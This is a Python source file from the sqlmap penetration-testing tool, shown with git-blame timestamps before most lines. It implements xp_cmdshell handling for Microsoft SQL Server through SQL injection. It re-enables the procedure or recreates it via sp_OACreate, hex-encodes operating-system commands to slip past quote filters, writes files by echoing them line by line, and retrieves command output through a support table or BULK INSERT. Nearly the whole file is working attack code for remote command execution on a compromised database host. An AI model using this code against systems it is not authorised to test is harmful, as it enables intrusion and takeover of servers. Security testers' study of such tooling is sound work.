2009-04-22 15:48:07 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2009-04-22 15:48:07 +04:00
"""
2012-07-02 18:02:00 +04:00
from lib . core . agent import agent
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2012-07-07 19:57:06 +04:00
from lib . core . common import getLimitRange
2012-07-10 03:19:32 +04:00
from lib . core . common import getSQLSnippet
2012-02-25 14:53:38 +04:00
from lib . core . common import hashDBWrite
2012-07-06 14:24:55 +04:00
from lib . core . common import isListLike
2012-03-13 14:36:49 +04:00
from lib . core . common import isNoneValue
2012-07-07 19:57:06 +04:00
from lib . core . common import isNumPosStrValue
from lib . core . common import isTechniqueAvailable
2012-03-13 14:36:49 +04:00
from lib . core . common import pushValue
from lib . core . common import popValue
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2010-12-08 17:26:40 +03:00
from lib . core . common import wasLastRequestDelayed
2012-07-02 02:41:10 +04:00
from lib . core . convert import hexencode
2009-04-22 15:48:07 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2012-07-07 19:57:06 +04:00
from lib . core . enums import CHARSET_TYPE
2012-02-15 18:05:50 +04:00
from lib . core . enums import DBMS
2012-07-07 19:57:06 +04:00
from lib . core . enums import EXPECTED
2012-02-25 14:53:38 +04:00
from lib . core . enums import HASHDB_KEYS
2012-07-07 19:57:06 +04:00
from lib . core . enums import PAYLOAD
2009-04-22 15:48:07 +04:00
from lib . core . exception import sqlmapUnsupportedFeatureException
2012-03-13 14:36:49 +04:00
from lib . core . threads import getCurrentThreadData
2010-11-02 18:31:51 +03:00
from lib . core . unescaper import unescaper
2009-04-22 15:48:07 +04:00
from lib . request import inject
class xp_cmdshell :
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins .
"""
def __init__ ( self ) :
self . xpCmdshellStr = " master..xp_cmdshell "
def __xpCmdshellCreate ( self ) :
cmd = " "
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
logger . debug ( " activating sp_OACreate " )
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " activate_sp_oacreate " )
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
self . __randStr = randomStr ( lowercase = True )
2012-07-02 18:28:19 +04:00
self . __xpCmdshellNew = " xp_ %s " % randomStr ( lowercase = True )
self . xpCmdshellStr = " master.. %s " % self . __xpCmdshellNew
2009-04-22 15:48:07 +04:00
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " create_new_xp_cmdshell " , RANDSTR = self . __randStr , XP_CMDSHELL_NEW = self . __xpCmdshellNew )
2009-04-22 15:48:07 +04:00
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2012-07-02 18:02:00 +04:00
cmd + = " ;RECONFIGURE WITH OVERRIDE "
2009-04-22 15:48:07 +04:00
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
def __xpCmdshellConfigure2005 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_configure "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " configure_xp_cmdshell " , ENABLE = str ( mode ) )
2009-04-22 15:48:07 +04:00
return cmd
def __xpCmdshellConfigure2000 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_addextendedproc "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
if mode == 1 :
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " enable_xp_cmdshell_2000 " , ENABLE = str ( mode ) )
2010-01-02 05:02:12 +03:00
else :
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " disable_xp_cmdshell_2000 " , ENABLE = str ( mode ) )
2009-04-22 15:48:07 +04:00
return cmd
def __xpCmdshellConfigure ( self , mode ) :
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
cmd = self . __xpCmdshellConfigure2005 ( mode )
else :
cmd = self . __xpCmdshellConfigure2000 ( mode )
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
def __xpCmdshellCheck ( self ) :
2012-07-02 02:31:45 +04:00
cmd = " ping -n %d 127.0.0.1 " % ( conf . timeSec * 2 )
self . xpCmdshellExecCmd ( cmd )
2010-12-08 17:26:40 +03:00
2011-02-07 15:32:08 +03:00
return wasLastRequestDelayed ( )
2009-04-22 15:48:07 +04:00
2012-03-13 14:36:49 +04:00
def __xpCmdshellTest ( self ) :
threadData = getCurrentThreadData ( )
pushValue ( threadData . disableStdOut )
threadData . disableStdOut = True
2012-03-15 02:41:53 +04:00
logger . info ( " testing if xp_cmdshell extended procedure is usable " )
2012-07-09 13:52:48 +04:00
output = self . xpCmdshellEvalCmd ( " echo 1 " )
2012-03-15 02:41:53 +04:00
2012-07-09 17:26:23 +04:00
if output == " 1 " :
logger . info ( " xp_cmdshell extended procedure is usable " )
elif isNoneValue ( output ) :
2012-03-15 02:41:53 +04:00
errMsg = " it seems that the temporary directory ( ' %s ' ) used for " % self . getRemoteTempPath ( )
errMsg + = " storing console output within the back-end file system "
errMsg + = " does not have writing permissions for the DBMS process. "
errMsg + = " You are advised to manually adjust it with option "
errMsg + = " --tmp-path switch or you will not be able to retrieve "
errMsg + = " the commands output "
2012-03-13 14:36:49 +04:00
logger . error ( errMsg )
2012-03-15 02:41:53 +04:00
else :
logger . info ( " xp_cmdshell extended procedure is usable " )
2012-03-13 14:36:49 +04:00
threadData . disableStdOut = popValue ( )
2012-04-25 11:40:42 +04:00
def xpCmdshellWriteFile ( self , fileContent , tmpPath , randDestFile ) :
echoedLines = [ ]
cmd = " "
charCounter = 0
maxLen = 512
if isinstance ( fileContent , ( set , list , tuple ) ) :
lines = fileContent
else :
lines = fileContent . split ( " \n " )
for line in lines :
echoedLine = " echo %s " % line
echoedLine + = " >> \" %s \ %s \" " % ( tmpPath , randDestFile )
echoedLines . append ( echoedLine )
for echoedLine in echoedLines :
cmd + = " %s & " % echoedLine
charCounter + = len ( echoedLine )
if charCounter > = maxLen :
self . xpCmdshellExecCmd ( cmd )
cmd = " "
charCounter = 0
if cmd :
self . xpCmdshellExecCmd ( cmd )
2012-07-07 12:51:29 +04:00
def xpCmdshellForgeCmd ( self , cmd , insertIntoTable = None ) :
2012-07-09 17:26:23 +04:00
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
2012-07-24 17:34:50 +04:00
if conf . dbmsCred and insertIntoTable :
2012-07-09 15:39:43 +04:00
self . tmpFile = " %s /tmpc %s .txt " % ( conf . tmpPath , randomStr ( lowercase = True ) )
cmd = " %s > \" %s \" " % ( cmd , self . tmpFile )
2012-07-09 17:26:23 +04:00
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
2010-11-02 18:31:51 +03:00
self . __randStr = randomStr ( lowercase = True )
2012-07-02 02:41:10 +04:00
self . __cmd = " 0x %s " % hexencode ( cmd )
self . __forgedCmd = " DECLARE @ %s VARCHAR(8000); " % self . __randStr
self . __forgedCmd + = " SET @ %s = %s ; " % ( self . __randStr , self . __cmd )
2012-07-09 15:39:43 +04:00
2012-07-09 17:26:23 +04:00
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
2012-07-24 17:34:50 +04:00
if insertIntoTable and not conf . dbmsCred :
2012-07-07 12:51:29 +04:00
self . __forgedCmd + = " INSERT INTO %s " % insertIntoTable
2012-07-09 15:39:43 +04:00
2010-11-02 18:31:51 +03:00
self . __forgedCmd + = " EXEC %s @ %s " % ( self . xpCmdshellStr , self . __randStr )
2010-01-29 03:09:05 +03:00
2012-07-02 18:02:00 +04:00
return agent . runAsDBMSUser ( self . __forgedCmd )
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
def xpCmdshellExecCmd ( self , cmd , silent = False ) :
cmd = self . xpCmdshellForgeCmd ( cmd )
2012-02-17 19:54:49 +04:00
return inject . goStacked ( cmd , silent )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def xpCmdshellEvalCmd ( self , cmd , first = None , last = None ) :
2012-02-17 19:54:49 +04:00
if conf . direct :
output = self . xpCmdshellExecCmd ( cmd )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
if output and isinstance ( output , ( list , tuple ) ) :
new_output = " "
for line in output :
if line == " NULL " :
new_output + = " \n "
else :
new_output + = " %s \n " % line . strip ( " \r " )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
output = new_output
else :
2012-07-07 12:51:29 +04:00
inject . goStacked ( self . xpCmdshellForgeCmd ( cmd , self . cmdTblName ) )
2012-07-09 15:39:43 +04:00
2012-07-09 17:26:23 +04:00
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
2012-07-24 17:34:50 +04:00
if conf . dbmsCred :
2012-07-09 15:39:43 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . cmdTblName , self . tmpFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
self . delRemoteFile ( self . tmpFile )
2012-07-07 19:57:06 +04:00
query = " SELECT %s FROM %s " % ( self . tblField , self . cmdTblName )
2012-07-09 13:52:48 +04:00
if conf . direct or any ( isTechniqueAvailable ( _ ) for _ in ( PAYLOAD . TECHNIQUE . UNION , PAYLOAD . TECHNIQUE . ERROR ) ) :
2012-07-07 19:57:06 +04:00
output = inject . getValue ( query , resumeValue = False , blind = False )
else :
output = [ ]
count = inject . getValue ( " SELECT COUNT(*) FROM %s " % self . cmdTblName , resumeValue = False , inband = False , error = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2012-07-09 13:52:48 +04:00
2012-07-07 19:57:06 +04:00
if isNumPosStrValue ( count ) :
for index in getLimitRange ( count ) :
query = agent . limitQuery ( index , query , self . tblField )
output . append ( inject . getValue ( query , inband = False , error = False , resumeValue = False ) )
2012-07-09 13:52:48 +04:00
2012-02-17 19:54:49 +04:00
inject . goStacked ( " DELETE FROM %s " % self . cmdTblName )
2012-07-07 12:38:07 +04:00
if output and isListLike ( output ) and len ( output ) > 1 :
2012-08-21 22:20:38 +04:00
if not ( output [ 0 ] or " " ) . strip ( ) :
2012-07-07 12:38:07 +04:00
output = output [ 1 : ]
2012-08-21 22:20:38 +04:00
elif not ( output [ - 1 ] or " " ) . strip ( ) :
2012-07-07 12:38:07 +04:00
output = output [ : - 1 ]
2012-02-17 19:54:49 +04:00
2012-07-09 13:52:48 +04:00
output = " \n " . join ( line for line in output )
2009-04-22 15:48:07 +04:00
return output
2010-01-04 18:02:56 +03:00
def xpCmdshellInit ( self ) :
2012-02-25 14:53:38 +04:00
if not kb . xpCmdshellAvailable :
2011-04-30 17:20:05 +04:00
infoMsg = " checking if xp_cmdshell extended procedure is "
2011-04-21 18:25:04 +04:00
infoMsg + = " available, please wait.. "
logger . info ( infoMsg )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
result = self . __xpCmdshellCheck ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if result :
logger . info ( " xp_cmdshell extended procedure is available " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
message = " xp_cmdshell extended procedure does not seem to "
2011-04-21 18:25:04 +04:00
message + = " be available. Do you want sqlmap to try to "
message + = " re-enable it? [Y/n] "
2011-04-30 17:20:05 +04:00
choice = readInput ( message , default = " Y " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not choice or choice in ( " y " , " Y " ) :
self . __xpCmdshellConfigure ( 1 )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell re-enabled successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
logger . warn ( " xp_cmdshell re-enabling failed " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
logger . info ( " creating xp_cmdshell with sp_OACreate " )
self . __xpCmdshellConfigure ( 0 )
self . __xpCmdshellCreate ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell created successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
warnMsg = " xp_cmdshell creation failed, probably "
2011-04-21 18:25:04 +04:00
warnMsg + = " because sp_OACreate is disabled "
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
2012-02-26 02:54:32 +04:00
hashDBWrite ( HASHDB_KEYS . KB_XP_CMDSHELL_AVAILABLE , kb . xpCmdshellAvailable )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not kb . xpCmdshellAvailable :
errMsg = " unable to proceed without xp_cmdshell "
raise sqlmapUnsupportedFeatureException , errMsg
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
debugMsg = " creating a support table to write commands standard "
2009-04-22 15:48:07 +04:00
debugMsg + = " output to "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2011-04-20 16:59:23 +04:00
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self . createSupportTbl ( self . cmdTblName , self . tblField , " NVARCHAR(4000) " )
2012-03-13 14:36:49 +04:00
self . __xpCmdshellTest ( )